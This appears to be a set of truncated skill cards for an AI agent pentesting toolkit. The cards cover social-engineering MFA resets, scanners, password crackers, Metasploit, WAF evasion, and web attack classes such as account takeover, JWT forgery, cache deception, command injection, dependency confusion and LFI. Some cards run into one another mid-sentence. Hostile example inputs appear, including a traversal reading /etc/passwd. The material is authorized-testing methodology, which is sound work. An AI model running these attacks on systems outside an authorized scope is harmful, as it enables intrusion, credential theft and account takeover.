Will an employee act on a convincing caller? This targets *procedure adherence*, which phishing
email can't measure. Help-desk MFA-reset abuse is a leading real-world initial-access vector, so
testing it is high-value.
## Why it works
Voice adds urgency, authority, and social pressure that written channels lack — a confident caller
with a few true details (from `recon-osint`) and a plausible reason routinely gets a human to skip a
verification step. The finding is the *gap in the verification procedure*, not the individual who
answered.tools-arsenal
When your agent uses it
Cross-domain pentest tool selection — which tool for which job, and which Security Skills skill to load for it. Load at engagement start or whenever a new surface appears and you need the right scanner/framework/wordlist.

# Tool selection arsenal
## When it applies
Engagement kickoff, a new surface just appeared, or you're staring at a job ("crack this hash",
"fuzz this endpoint", "exploit this CVE") and need the right tool fast. This is the routing layer
for the `tools` domain — it points at the tool *and* the Security Skills skill that teaches the
technique. Scope first, always: `tradecraft-scope-roe` + `scope.txt` before anything sends packets.
## By job
| Job | Tool | Deep skill |
|-----|------|-----------|
| Port/service discovery | nmap (masscan/rustscan for speed) | `tools-nmap`, `recon-arsenal` |
| Subdomain enum / live-host triage | subfinder → httpx | `recon-subdomain-enum`, `automation-recon-pipeline` |tools-burp-suite
When your agent uses it
Drive Burp Suite for web/API testing — proxy history triage, Repeater, Intruder enumeration, Collaborator OOB, active scanning — manually or agent-driven through a Burp MCP extension on 127.0.0.1:9876. Load for any HTTP-target deep testing: "burp", proxy history analysis, repeater replay, intruder brute/enum, collaborator payloads, DAST scan, CSRF PoC generation, token randomness analysis.

# Burp Suite deep testing (GUI + MCP)
## When it applies
You're web/API testing an in-scope target (`tradecraft-scope-roe`; load `web-testing-checklist` or
`api-testing-checklist` as the coverage map) and need the core manual-testing platform: intercept,
modify/replay, targeted enumeration, OOB detection, or an active scan. Burp is name-dropped across
many skills as "send it to Repeater" — this one is how to *operate* it, including agent-driven
operation through an MCP extension so the AI can read proxy history and fire Intruder itself.
## Why it works
Every request the browser makes flows through Burp's proxy into a searchable history; Repeater gives
byte-exact replay, Intruder turns one request into a thousand enumerated variants, Collaborator
provides OOB callbacks that prove blind bugs, and the MCP extensions expose all of it as tools — so
an agent can triage hundreds of captured requests and only escalate the interesting ones.tools-curl
When your agent uses it
Use curl as the ground-truth HTTP client during recon and verification — browser-impersonation headers for CDN/WAF 403s, --globoff for bracket params, Windows curl.exe quirks, SPA false-200 traps. Load when bare tooling gets 403/blocked at a CDN edge, an API needs precise hand-crafted requests, or scanner output needs a clean manual repro. Signals: curl, 403 access-policy, CF-RAY, Cf-Mitigated, "bad range in position", --globoff, data-center UA blocked.

# curl as ground truth
## When it applies
Any time you need to know what a server *actually* returns — no proxy magic, no scanner
interpretation — or when automated tooling is being blocked at a CDN/WAF edge and you suspect the
request shape, not the content, is the problem. Typical trigger: bare curl or a datacenter UA gets
`403` with a JSON `access-policy` body or a `CF-RAY` header, while the same endpoint works in a real
browser.
## Why it works
Edge protection (Cloudflare & friends) classifies clients by TLS/HTTP fingerprints and headers. A
request carrying a browser User-Agent plus plausible `Origin`/`Referer`/`Sec-Fetch-*` headers often
sails through where a naked `curl` gets challenged — and unlike a scanner, curl shows you the exact
bytes that came back.tools-ffuf
When your agent uses it
Fuzz web targets with ffuf for content, parameter, and vhost discovery — FUZZ keyword placement in paths, query strings, POST bodies and Host headers, matcher/filter calibration (-mc/-fs/-ac), recursion, and when to switch to feroxbuster/gobuster/dirsearch. Load when a web target needs hidden paths, files, parameters, or virtual hosts enumerated. Signals: ffuf -w FUZZ, directory brute force, gobuster dir, feroxbuster, dirsearch, raft-medium-directories, burp-parameter-names, 404 filtering.

# ffuf & web content fuzzing
## When it applies
You have an in-scope web target (`tradecraft-scope-roe`) and need what the site map doesn't show:
hidden directories and files, undocumented GET/POST parameters, or name-based virtual hosts. This is
the active half of `recon-content-discovery` — wordlist-driven, noisy, and governed by `roe.md` rate
limits.
## Why it works
ffuf replaces the `FUZZ` keyword anywhere in a request — path, query, body, header — with each
wordlist entry, then classifies responses by status/size/word-count. Discovery is a filtering
problem: a wildcard or SPA route answers 200 to *everything*, so the skill is teaching ffuf what
"nothing found" looks like, then listing only the deviations.
tools-hashcat
When your agent uses it
Crack password hashes offline with hashcat (GPU) and John the Ripper (CPU) — hash-mode selection, attack modes (straight/mask/combinator/rules), the -m type table, *2john extractors, and potfile discipline. Load when loot includes hashes: NTLM/NetNTLMv2 dumps, Kerberos TGS (kerberoast), JWT secrets, /etc/shadow, zip/rar/ssh key passwords. Signals: hashcat -m, rockyou, best64.rule, $6$ hashes, unshadow, john --show, mask ?a?a?a.

# hashcat & John hash cracking
## When it applies
You hold in-scope credential material (`tradecraft-scope-roe`) that must be proven crackable: NTLM
dumps, NetNTLMv2 captures (`network-credential-cracking`), Kerberos TGS tickets (`ad-kerberoasting`),
JWT HMAC secrets (`web-auth-jwt`), `/etc/shadow`, or password-protected archives/keys. In defense
mode, the same workflow audits whether org passwords survive a real cracking run.
## Why it works
Offline cracking has no lockout and no rate limit — speed is set by hash algorithm and hardware.
hashcat drives GPUs (billions of guesses/sec on fast hashes like NTLM); John the Ripper is the
flexible CPU fallback with extractors (`*2john`) that turn encrypted files into crackable hashes.
Rules and masks exploit how humans actually pick passwords, so a small wordlist + mutation beats
blind brute force.tools-hydra
When your agent uses it
Run online password attacks against live services with hydra and its alternatives (medusa, ncrack, patator, crowbar) — service modules, http-post-form failure strings, thread tuning, resume, and lockout avoidance. Load when scope allows credential guessing against SSH/FTP/RDP/MySQL/web login forms and offline cracking is not an option. Signals: hydra -l -P, http-post-form, ^USER^ ^PASS^, ssh:// rdp:// mysql:// targets, medusa -M, ncrack, patator, login brute force.

# hydra & online password attacks
## When it applies
The engagement scope (`tradecraft-scope-roe`, `scope.txt`) explicitly permits online credential
guessing against a live service — SSH, FTP, RDP, MySQL, a web login form — and you have no hash to
crack offline (`tools-hashcat`). Online attacks are loud, slow, and lock accounts: check
`network-password-spraying` first — one password across many users is usually safer than many
passwords against one user.
## Why it works
Login services are oracles: every attempt returns success or failure. hydra/medusa/ncrack/patator
parallelize guesses across protocol modules and stop on the first valid pair. The whole craft is
(a) the right failure signal so you can tell "wrong password" from "wrong request", and (b) pacing
so you finish before the lockout policy finishes you.tools-mcp-bridges
When your agent uses it
Expose CLI security tools to an AI agent through MCP servers — mcp-kali-server generic terminal bridge, MetasploitMCP, pentestMCP Docker bundle, mcp-security-hub, single-tool nmap/nuclei servers. Load when setting up agent-driven tooling on Kali or wiring a new tool into MCP.

# MCP bridges for security tools
## When it applies
You're setting up an agent-driven workflow and need CLI tools (nmap, nuclei, sqlmap, hashcat,
gobuster, Metasploit…) callable as MCP tools instead of raw shell. This is *infrastructure*, not
[Credential-related source omitted]
`scope.txt` still gate every call. For Burp specifically, see `tools-burp-suite`; for attacking MCP
servers themselves, `ai-mcp-security`.
## Why it works
MCP wraps a tool's CLI behind typed tool definitions, so the agent gets structured parameters and
output instead of scraping terminal text. A generic terminal bridge (mcp-kali-server) covers
everything but is unstructured; per-tool servers give safer, typed interfaces at the cost of setup.
tools-metasploit
When your agent uses it
Drive Metasploit (msfconsole/msfrpcd) for the exploitation phase without hanging the toolchain — one-shot -x invocations, RPC daemon mode for persistent sessions, batch auxiliary runs. Load when a confirmed vuln maps to a public MSF module, you need exploit/multi/handler for a reverse shell, or meterpreter sessions must survive across steps. Signals: msfconsole, msf, meterpreter, LHOST/LPORT, "module for this CVE", exploit/multi/handler, session opened.

# Metasploit without the hang
## When it applies
You have a confirmed in-scope weakness (`tradecraft-scope-roe` first) that maps to a Metasploit
module, or you need a `exploit/multi/handler` listener for a reverse shell (`payloads-reverse-shells`).
Metasploit is the right tool when a reliable public module exists; for novel bugs write a PoC
instead (`exploit-poc-development`). Driving MSF from scripts or an agent is where most people get
burned — this skill is the correct invocation discipline.
## Why it works
`msfconsole` is an interactive REPL: launched bare it waits for stdin forever, and each new console
is a separate process that cannot see another console's sessions. Non-interactive use therefore
means either (a) cramming the whole job into one `-x` string that ends in `exit`, or (b) keeping
state in a long-lived `msfrpcd` daemon that short-lived clients connect to.tools-nmap
When your agent uses it
Operate nmap and masscan for port/service scanning of in-scope hosts — scan-type selection (SYN/connect/UDP), version and OS detection, NSE vuln scripts, output formats, and the masscan-wide-then-nmap-deep pattern. Load when recon surfaces hosts/IPs and you need open ports, service versions, or OS fingerprints. Signals: nmap, masscan, -sV -sC -O, --script vuln, -p1-65535, --rate, "dnet: Failed to open device", top-ports, -oX.

# nmap & masscan port scanning
## When it applies
You have in-scope hosts or IP ranges (confirmed in `scope.txt` — see `tradecraft-scope-roe`) and
need the network attack surface: open ports, service versions, OS guesses. This is the
active-scanning step that follows passive enumeration (`recon-subdomain-enum`, `recon-arsenal`) and
feeds service-specific testing (`network-service-attacks`, `web-arsenal` for anything HTTP).
## Why it works
nmap crafts raw packets to classify ports (open/closed/filtered) and then speaks each discovered
service's protocol just enough to fingerprint its version; its NSE script engine adds per-service
checks on top. masscan trades per-host depth for raw speed (its own TCP stack, millions of pps), so
the efficient pattern is: masscan for breadth across many hosts/ports, nmap for depth on the hits.
tools-nuclei
When your agent uses it
Operate nuclei for template-based vulnerability scanning at scale — severity/tag selection, bulk targets, rate limiting, proxying, JSON output, and safe custom templates. Load when you have live hosts from recon and need known-CVE/misconfig/exposure sweeps, or when scanner hits need validation.

# nuclei vulnerability scanning
## When it applies
Recon has produced live in-scope hosts (`automation-recon-pipeline`) and you want fast coverage of
*known* issues — CVEs, exposed panels, misconfigurations — before spending manual time. Also the
right tool for re-checking a fixed finding across all hosts. For writing a template that codifies
your own finding, load `automation-nuclei-templates` (that skill is the deep guide; the essentials
are below).
## Why it works
nuclei runs declarative YAML templates (9000+ community templates, HTTP/DNS/TCP/SSL/file protocols)
against many targets in parallel with matchers on the response. You trade stealth for breadth: it's
fast and consistent, and loud.
tools-sqlmap
When your agent uses it
Operate sqlmap to confirm and exploit SQL injection — target selection from Burp requests, level/risk tuning, tamper scripts for WAF evasion, DB enumeration, and safe dump discipline. Load after a manual SQLi probe shows promise, or when automating confirmation across parameters.

# sqlmap injection automation
## When it applies
Manual testing (`web-sqli`) has produced a suspicious parameter on an in-scope target
(`tradecraft-scope-roe`), or you have many in-scope parameters and need automated triage. sqlmap
takes over the tedious part — confirming the injection type, fingerprinting the DBMS, enumerating
schema, and extracting proof data. It is an exploitation accelerator, not a discovery substitute:
feed it a real request, not a bare URL you have never looked at.
## Why it works
sqlmap automates the full injection matrix per parameter — boolean-based, error-based, UNION query,
stacked queries, and time-based blind (`--technique=BEUST`) — with per-DBMS dialects and a tamper
pipeline that rewrites payloads to slip past filters. Because it replays a captured request, it
tests exactly the auth state, headers, and body the app expects.tradecraft-attack-chain
When your agent uses it
Orchestrate a full multi-stage kill chain — recon → initial access → privilege escalation → lateral movement → objective — with phase gates, per-phase playbooks, and operating discipline. Load on pentest tasks that span stages: "get from external to domain admin", "full internal pentest", "I have a webshell, route me to the objective", red-team exercise planning.

# Kill-chain orchestration
## When it applies
An authorized **pentest** (never bug bounty — persistence and lateral movement exceed program
scopes) whose objective spans stages: "external to domain admin", "full internal pentest",
"I have a webshell — what's the route", a red-team exercise. `tradecraft-attack-scenarios`
turns the objective into an ordered plan and `tradecraft-attack-path-mapping` models the
graph; this skill is the execution layer — phase gates, per-phase playbooks, and the
discipline that keeps a multi-day operation coherent. Single-stage tasks skip it and go
straight to their domain skill (`web-*`, `ad-*`, `cloud-*`).
## Why it works
Multi-stage engagements fail by drift, not by missing techniques. Re-planning at each phase
gate — what do I hold, what does it unlock, what's the cheapest next edge — reaches thetradecraft-attack-path-mapping
When your agent uses it
Model the target as an attack graph — nodes (assets, identities, trust) and edges (a technique that gets you from one to the next) — and find the shortest path to the objective. Load when many findings need to be assembled into a route, on "how do these bugs connect", AD/cloud lateral- movement planning, or to explain how a foothold reaches crown jewels.

# Attack-path mapping
## When it applies
You have several footholds/findings and need to see how they combine into a route to the objective
— or you're defending and want to know which single edge, if cut, breaks the most paths.
## Why it works
Attackers think in graphs; defenders who do too find the choke points. Modelling
principals → permissions → resources as edges makes "can A reach D?" a reachability query, and
surfaces multi-step paths no single finding reveals (this is why BloodHound changed AD assessment).
## Method
1. **Nodes**: assets (hosts, buckets, DBs), identities (users, roles, service accounts), and secrets.
2. **Edges = a technique you can actually run**: "user→host" (valid creds / RCE), "host→identity"tradecraft-attack-scenarios
When your agent uses it
Turn a goal + a scope into a concrete, ordered attack scenario across multiple skills — not one technique in isolation. Load at the START of an engagement, on "where do I even begin", when a target has many surfaces, or to plan an objective-driven path (e.g. "reach domain admin", "prove data exfil"). This is how an agent decides what to try, in what order, and why.

# Building an attack scenario
## When it applies
You have an authorized scope and an objective, and the target exposes several possible surfaces.
Before running anything, you need a plan that sequences the right skills toward the objective and
adapts as evidence comes in. This is the layer above individual techniques.
## Why it works
Real engagements are graphs, not checklists: each result changes what's worth trying next. Planning
the scenario explicitly — objective, hypotheses, ordered leads, decision points — is what turns a
pile of 127 techniques into a coherent path, and it's exactly what the `secskills watch` Attack Map
renders (`lead`, `status`, `rationale`).

Load when working a program on HackerOne, Bugcrowd, Intigriti, YesWeHack, or Immunefi, on "platform rules", "safe harbor", "VDP vs paid", or before submitting.

# Bug-bounty platform intelligence
## When it applies
You're operating inside a platform's program. The technical work is the same everywhere, but scope
enforcement, disclosure, payout, and reputation mechanics differ — and getting them wrong loses
bounties or violates the rules.
## Why it works
Each platform encodes its own contract. Reading the program's policy through the lens of that
platform's conventions tells you what's actually in scope, what proof triage expects, and how your
report will be judged — before you spend effort.
## Key points per platform

# Complex, multi-stage engagements
Hard targets differ in *kind*, not just difficulty. The path is usually a chain of 2–4 bugs
wrapped in deliberate dead-ends — sometimes needing source review, custom exploit work,
reversing, or a crypto attack — and it often spans multiple hosts and sessions. Wins come from
disciplined enumeration and ruthless dead-end tracking, not a bigger exploit. In-scope,
authorized targets only (see `tradecraft-scope-roe`).

# Duplicate avoidance
## When it applies
Bug-bounty payouts go to the *first* valid report. On popular programs the obvious bugs on obvious
assets are already found, so the skill is steering toward findings that are still unclaimed — and
recognising when a bug you have is likely already in the queue.
## Why it works
Duplication is a function of visibility and timing: the more hunters have seen an asset and the
longer it's been in scope, the lower your odds on a surface-level bug. Freshness and novelty move you
to the front of the line, where the same effort actually pays.
## Method
1. **Read the disclosed reports** for the program (and the researcher's public activity) to learntradecraft-pivot-decisions

Decide what to do next after a result — the branching logic that turns a single outcome into the next lead. Load whenever a step just finished (success, partial, or dead end) and it's unclear where to go: "what now", "I got a shell/creds/a hash", "this didn't work", triaging which of several leads to pursue. This is the decision engine between techniques.

# Pivoting: deciding the next move
## When it applies
A step just produced a result and you must choose the next action instead of blindly running the
next tool. Applies after every meaningful step — this is what keeps an engagement adaptive.
## Why it works
Value comes from routing on evidence: a result changes the probability and payoff of every other
lead. Making the routing explicit (what the result unlocks, what it rules out) avoids both
tunnel-vision and aimless scanning, and produces the `decision` + `rationale` entries the Attack
Map is built from.
## Method
1. **Classify the result**: confirmed / partial / blocked / failed. Record it as the lead's `status`.tradecraft-scope-roe
When your agent uses it
Establish and enforce the authorization envelope before any testing — the scope rule that governs everything. Load FIRST on every engagement, on "start", a new target, a program handle, or any ambiguity about what is allowed.

# Scope & Rules of Engagement (the hard rule)
## When this governs
Always, before the first packet. Security Skills operates only inside a confirmed authorization
envelope, and the envelope type is explicit. If scope is unclear, STOP and confirm with the
user — never "probe a little to see".
## The envelopes
- **Pentest / authorized engagement** — boundary is the signed scope: the statement of work /
authorization letter naming the in-scope hosts, IP ranges, apps, and the testing window.
Record the authorized targets in `scope.txt`; treat the window and any carve-outs as hard limits.
(Practice ranges you own or are licensed to test — a home lab, a training range — count here.)
- **Bug-bounty program** — boundary is the **program scope + rules of engagement**. Before
testing, capture:tradecraft-target-selection
When your agent uses it
Choose where to spend effort for the best return — which program, which asset, which surface. Load at the start of bug-bounty work or when a scope is broad and time is limited, on "which program", "where should I hunt", "prioritize these targets".

# Target selection & prioritisation
## When it applies
You have more scope than time. Whether picking a bug-bounty program or ordering assets inside one
authorized engagement, the choice of *where to look* usually matters more than how hard you look.
## Why it works
Vulnerabilities cluster where code is new, complex, or neglected, and payout/impact clusters where
the asset is important. Spending your first hours choosing well beats grinding a hardened, picked-over
target — most reports come from a minority of assets.
## Method
1. **Size the attack surface**: prefer programs/assets with lots of subdomains, APIs, and
functionality over a single static site — more surface, more bugs.web-account-takeover
When your agent uses it
Systematic account-takeover hunting — password reset, email change, session, and linking flaws that seize another user's account. Load on "ATO", password-reset/forgot flows, email-change, OTP/2FA, "login as", session handling. Signals: reset tokens, email-change without re-auth, OTP, magic links.

# Account takeover (ATO)
## When it applies
Any flow that can grant control of another user's account: password reset, email change, session
issuance, social/SSO linking, OTP/2FA. ATO is the highest-value web finding — hunt it deliberately.
## Why it works
Auth flows have many moving parts (tokens, emails, sessions, second factors); a single weak link
— a predictable reset token, a host-header-controlled reset link, an email change without
re-auth, an OTP with no rate limit — hands over the account.
## Method
1. **Password reset**: token predictability/entropy, token not invalidated after use/expiry,

# Web enumeration & exploitation arsenal
Authorized, in-scope targets only. Add `target.tld` to `/etc/hosts` first; many
apps only respond to their vhost name, not the raw IP.
## 1. Fingerprint (what am I looking at)
**whatweb** — fastest first look; identifies CMS/server/framework in one shot.
`whatweb -a3 http://target.tld` — `-a3` = aggressive plugins (more detail, more requests).
**httpx** — best for triaging many hosts/vhosts at once.
`httpx -title -tech-detect -status-code -u http://target.tld` — title + tech stack + code.
**curl** — ground truth; no interpretation between you and the bytes.
`curl -sI http://target.tld` — `-s` silent, `-I` headers only (Server, redirects, cookies).
`curl -s -H 'Host: dev.target.tld' http://target.tld/` — hit a vhost without editing hosts.
Gotcha: `-I` sends HEAD; some apps 405/behave differently — use `curl -s ... -o /dev/null -D -` for a real GET with headers.web-auth-jwt

# JWT / token authentication attacks
## When it applies
The app authenticates with a JSON Web Token and trusts claims inside it (user id, role,
`isAdmin`). The win is forging a valid-looking token the server accepts.
## Why it works
JWTs are only as safe as their signature verification. Implementations routinely skip it,
confuse algorithms, or trust attacker-controlled key hints (`kid`, `jku`, `x5u`). If you can
make the server accept a signature you produced, you own every claim.
## Method

1. **Decode & read claims**: `jwt_tool <token>` — look for `role`, `admin`, `sub`, weak `exp`.web-auth-session-handling
When your agent uses it
Legitimately acquire and KEEP an authenticated session (through MFA/OTP) so you can test the post-auth attack surface, and hand that session to your tools without leaking secrets. Load when the high-value classes (IDOR/BOLA, mass assignment, injection on real data APIs) are blocked behind login/SMS-OTP/TOTP, when tokens keep expiring mid-test, or when Burp/Playwright keep logging you out. Distinct from attacking auth — this one authenticates and reuses the session.

# Authenticated session handling
## When it applies
The interesting bugs live *after* login — cross-tenant IDOR/BOLA, mass assignment, injection on
the real data APIs — but the run keeps collapsing to pre-auth findings because login is gated by
MFA/OTP, or the token expires and every automated request 401s halfway through. This skill is the
setup step that makes authenticated testing actually work. It does **not** attack the auth
mechanism (`web-oauth`, `web-auth-jwt`, `api-auth-attacks` do that) — it obtains one legitimate
session and keeps it usable.
## Why it works
Post-auth coverage silently disappears when tooling can't hold a session: the scanner logs out,
the token lapses, or MFA can't be satisfied autonomously. Capturing the session as a *reusable
artifact* — the cookie/localStorage state for browser-driven testing and the raw bearer token forweb-business-logic

# Business-logic flaws
## When it applies
The app works "correctly" per code but the *rules* can be gamed: paying less, getting more,
skipping a required step, or crossing a boundary the designers assumed users would respect.
## Why it works
Scanners can't find these — they require understanding intent. Servers trust client-supplied
economics/state and assume the happy path; deviate from it and constraints (price, quantity,
sequence, ownership) aren't re-enforced.
## Method
1. **Model the intended flow** and its invariants (what must stay true: price ≥ 0, step order,
one coupon, my-cart-only).web-cache-deception
When your agent uses it
Trick a CDN/cache into storing a victim's authenticated response at a public URL, then read it. Load on "web cache deception", when a CDN/cache sits in front of an app that serves per-user content, or to test whether private pages can be cached.

# Web cache deception
## When it applies
A caching layer (CDN, reverse proxy) fronts an app that returns per-user content, and the cache
decides what to store by URL pattern/extension. If you can make an authenticated response *look*
cacheable, the cache stores it — and anyone can then fetch that victim's data.
## Why it works
The cache and the origin disagree about the URL. The cache sees `/account.css` and thinks "static,
cache it"; the origin ignores the `.css` suffix (or a delimiter) and serves the dynamic
`/account` page. The victim's private response gets stored under a public key you can request.
## Method
1. **Confirm the mismatch**: request an authenticated page with a static suffix — `/account/foo.css`,web-cache-poisoning
When your agent uses it
Web cache poisoning & deception — get a shared cache to serve attacker content to other users, or trick it into caching victims' private pages. Load behind a CDN/cache (Cloudflare, Varnish, Fastly, Akamai), on unkeyed headers, `X-Forwarded-Host`, cache headers, or static-looking URLs. Signals: `Age`/`X-Cache` headers, CDN, reflected headers.

# Web cache poisoning & deception
## When it applies
A shared cache (CDN/reverse proxy) sits in front of the app. Poisoning: an unkeyed input
influences the response but isn't part of the cache key, so your malicious response gets stored
and served to everyone. Deception: the cache is tricked into storing a victim's private page.
## Why it works
Caches key on some request parts (URL, maybe some headers) and ignore others ("unkeyed"). If an
unkeyed header/param changes the response (reflected `X-Forwarded-Host`, a header-driven script
src), you poison the cached copy. Deception exploits path/extension rules that cache things that
shouldn't be cached.

# Clickjacking (UI redress)
## When it applies
A sensitive, state-changing page can be embedded in an `<iframe>` on an attacker site, and the
action needs only clicks (no CSRF token / re-auth). The attacker overlays their own UI so the
victim clicks the framed action unknowingly.
## Why it works
Without `X-Frame-Options: DENY/SAMEORIGIN` or CSP `frame-ancestors`, the browser lets any site
frame the page. Making the frame transparent and positioning it under a decoy button turns the
victim's clicks into actions on the target in their authenticated session.

# Reversing client-side request signing
## When it applies
An endpoint you want to fuzz (for `web-idor`, `api-bola`, `api-mass-assignment`, or business
logic) rejects tampered requests with a `signature invalid` / `401` because the client computes a
guard value in JavaScript — an HMAC over the body, a nonce+timestamp, or an encrypted payload.
You need to reproduce *one* valid signed request outside the browser so you can mutate the parts
that matter and re-sign them.
## Why it works
The signature is **client-side integrity theater**: the secret and the algorithm ship to the
browser, so anything the browser can compute, you can compute. The signing weakness itself is
almost always N/A — the payout is the access-control or logic bug on the endpoint it was
"protecting". Reproduce the signer, and that endpoint becomes as fuzzable as an unsigned one.web-command-injection
When your agent uses it
Turn user input that reaches a shell into arbitrary OS command execution. Load when a parameter feeds a system call — ping/nslookup/host tools, file conversion (ImageMagick, ffmpeg), archive/ export, PDF/thumbnail generation, filename handling, or any "network tools" feature.

# OS command injection
## When it applies
A parameter is concatenated into a shell command the server runs (a `ping` diagnostic, an
`ImageMagick`/`ffmpeg` convert, a `tar`/`zip`, a filename passed to a CLI). If the value reaches
`/bin/sh -c` unsanitised, you can append your own command.
## Why it works
Building a command string from input and handing it to a shell means shell metacharacters keep their
meaning: `;`, `|`, `&&`, `$()`, and backticks all start a new command in the same context (usually
the web user). The app never intended a second command — the shell can't tell the difference.

# CORS misconfiguration
## When it applies
An endpoint returns sensitive data and sets CORS headers that let an attacker origin read the
response with the victim's credentials.
## Why it works
CORS lets a server opt-in to cross-origin reads. If it reflects the request `Origin` into
`Access-Control-Allow-Origin` *and* sets `Access-Control-Allow-Credentials: true`, any site can
make the victim's browser send an authenticated request and read the response — cross-origin data theft.

Most deployed CSPs have a gap: an over-broad allowlist, a leftover `unsafe-inline`, a reusable
nonce, a `script-src` host that also serves a JSONP/AngularJS gadget, or a missing `base-uri`/
`object-src`. Each gap is a path to execution the policy author didn't intend.

Cross-Site Request Forgery — force a victim's browser to perform state-changing actions. Load on state-changing requests (POST/PUT/DELETE) that rely only on cookies, missing/weak CSRF tokens, `SameSite=None`, or forms/JSON without anti-CSRF. Signals: cookie-only auth, no token, token not validated.

# Cross-Site Request Forgery (CSRF)
## When it applies
A state-changing action authenticated purely by an ambiently-sent credential (cookie) with no
unpredictable token the attacker's site can't know/replay.
## Why it works
Browsers attach cookies to cross-site requests automatically. If the server accepts the action
on cookie alone, an attacker page can submit it on the victim's behalf. Anti-CSRF tokens /
`SameSite` cookies break this by requiring something cross-site JS can't supply.
## Method
1. **Find a candidate**: a sensitive action (change email/password, transfer, role) that changes state.
2. **Check the defenses**: is there a CSRF token? Is it *validated* (remove it / reuse anotherweb-cypher-injection

# Cypher injection (Neo4j)
## When it applies
An app builds a Neo4j **Cypher** query by concatenating user input — a login
(`MATCH (u {name:'<in>', pass:'<in>'})`), a search, or a filter. Like SQLi, mixing input into the
query language lets you change its meaning: bypass auth, read arbitrary nodes, or pivot to SSRF/RCE
via Cypher's data-loading and (mis)installed `apoc` procedures.
## Why it works
Cypher is a query language with the same code/data confusion as SQL, plus graph-specific power:
`UNION` across labels, `LOAD CSV FROM <url>` (server-side fetch = SSRF), and — if `apoc` is present
and permissive — `apoc.load.*` / `dbms.*` that can reach the network or the OS.
## Methodweb-dependency-confusion
When your agent uses it
Dependency confusion / substitution — publish a malicious public package matching an internal name so build systems pull yours. Load on leaked internal package names (npm/PyPI/RubyGems/Maven), package.json/requirements with unknown deps, or private-registry setups.

# Dependency confusion
## When it applies
The target builds software using **internal package names** that aren't published publicly, on an
ecosystem (npm, PyPI, RubyGems, Maven, NuGet) where a public registry is also consulted. If you can
learn an internal name and publish it publicly, their resolver may fetch **your** package → RCE in their build/CI.
## Why it works
Many package managers, misconfigured, prefer the *highest version* across all configured registries
— public included. Publishing `internal-lib@99.0.0` to the public registry can outrank the private
`internal-lib@1.2.3`, so builds pull and execute your code (install scripts run automatically).
## Method
1. **Harvest internal names**: leaked `package.json`/`requirements.txt`/`pom.xml`, source maps andweb-deserialization

# Insecure deserialization
## When it applies
The app takes serialized objects from the client (cookies, hidden fields, params, message
queues) and deserializes them. Recognizable by format markers.
## Why it works
Deserialization reconstructs objects and can invoke their methods (magic methods, readObject,
`__wakeup`). A crafted object graph ("gadget chain") strings together existing library methods
to reach a dangerous sink — command execution — during/after deserialization.

# DOM clobbering
## When it applies
You can inject HTML but not script (a sanitizer blocks JS), and the application's own JavaScript
reads values from named DOM elements or global properties. Clobbering turns pure markup into
control over those values — often the missing link to XSS or a logic bypass.
## Why it works
The browser auto-creates properties from element `id`/`name`: `<a id=x>` makes `window.x` (and
`document.x`) reference that element. Legacy code that does `var cfg = window.config || {}` or
`document.getElementById('token')` can be *clobbered* — you supply the element, so you control what
that "variable" resolves to.

# Browser extension reverse engineering
## When it applies
The target is a browser extension — a `.crx`/`.xpi` package or an unpacked extension directory —
not ordinary page JavaScript (for that, load `reverse-eng-js`). Typical jobs: audit an in-scope
extension's client-side signing/encryption/proxy logic, hunt for over-privileged permissions in a
review, or investigate a malicious or supply-chain-poisoned extension. Target must be confirmed in
`scope.txt` (`tradecraft-scope-roe`); for malicious samples work in an isolated VM and see
`defense-malware-triage`.
## Why it works
An extension is just a zip with a `manifest.json` that declares its entire trust surface —
permissions, host permissions, entry scripts. Reading the manifest first tells you exactly which
scripts can touch which origins, and every browser-API capability (`webRequest`, `cookies`,web-file-upload

# Malicious file upload
## When it applies
The app accepts a file and later stores, serves, parses, or converts it. Impact depends on
what happens to the file after upload — served from webroot? passed to a parser? rendered?
## Why it works
Validation is usually on the wrong signal (extension or `Content-Type`, both attacker-set)
while the dangerous behaviour is downstream: the web server executes `.php` in the uploads
dir, a parser follows external entities, or the file is served with an HTML content-type.
## Method

Host header injection — abuse a trusted Host/X-Forwarded-Host to poison password-reset links, routing, and caches.

# HTTP parameter pollution
## When it applies
A request passes through more than one component that parses parameters — a WAF/gateway, then the
app; or a frontend that builds a backend request. If they resolve a duplicated parameter
differently, you can show one value to the guard and another to the logic.
## Why it works
There is no single rule for `?x=a&x=b`: PHP/Apache take the **last**, ASP/IIS **concatenates**
(`a,b`), classic JSP takes the **first**, Node/Express makes an **array**. When the validator and
the consumer sit on different stacks, a value that passes validation isn't the value that's used.

# Insecure Direct Object Reference (IDOR)
## When it applies
The app trusts a client-supplied identifier to decide which object to return or mutate, and
authorization is checked at the *route* ("is logged in?") but not at the *object* ("does THIS
user own THIS object?").
## Why it works
Access control is missing at the data layer. The server maps id → row and returns it without
asking whether the current session is allowed that row. Sequential/predictable ids make
enumeration trivial; even UUIDs leak (in listings, referrers, other endpoints).

# JDBC / connection-string attacks
## When it applies
An application lets you influence a database connection — a full JDBC URL, host/port, or driver
properties — via a "test connection" button, a data-source/integration config, or a processor in an
ETL/automation tool (NiFi, Mirth, reporting suites). The connection *itself* becomes the exploit:
several JDBC drivers execute code or read files as a side effect of connecting.
## Why it works
JDBC drivers do more than open a socket — they honor URL properties that were designed for
convenience and are dangerous with an attacker-controlled URL. You don't need valid credentials to a
real DB; you point the driver at *your* server (or an in-process engine) and let a driver feature run
code in the app's JVM.

# LFI / path traversal
## When it applies
A parameter or path segment controls which file the server reads/includes. Path traversal reads
arbitrary files; LFI (include) can execute them → RCE.
## Why it works

sequences escape the intended directory. If the value is `include`d (PHP), included content is executed.
## Method
1. **Read a canary**: `?file=/etc/passwd`, then traversal `?file=../../../../etc/passwd`; on

# 2FA / MFA bypass
## When it applies
Authentication has a second step after the password. MFA is only as strong as its enforcement — the
common flaws are in the *flow*, not the crypto, and each is worth a quick check before assuming the
factor is solid.
## Why it works
The second factor is usually bolted onto a stateful flow, and the server often trusts the client to
follow it. Skip the step, replay a state, or brute a short code with no rate limit, and the factor
never actually gates access.

# OAuth / OIDC / SSO abuse
## When it applies
The app delegates auth via OAuth/OIDC (social login, enterprise SSO). Flaws here are frequently
full account takeover.
## Why it works
OAuth security depends on strict validation of `redirect_uri`, `state`, `code` binding, and how
identities are linked. Implementations relax one of these — and the token/code that proves
identity leaks to the attacker or an account gets linked to the wrong user.
## Method

# Open Graph / link-preview SSRF
## When it applies
The app unfurls user-supplied URLs — chat messages, comments, profile links, oEmbed consumers,
"import bookmark", RSS/save-for-later. The dedicated fetch this triggers is an SSRF primitive,
often with **weaker filtering than the main app** because previews must work for arbitrary
third-party sites. Also applies when the preview is rendered by a headless browser (adds
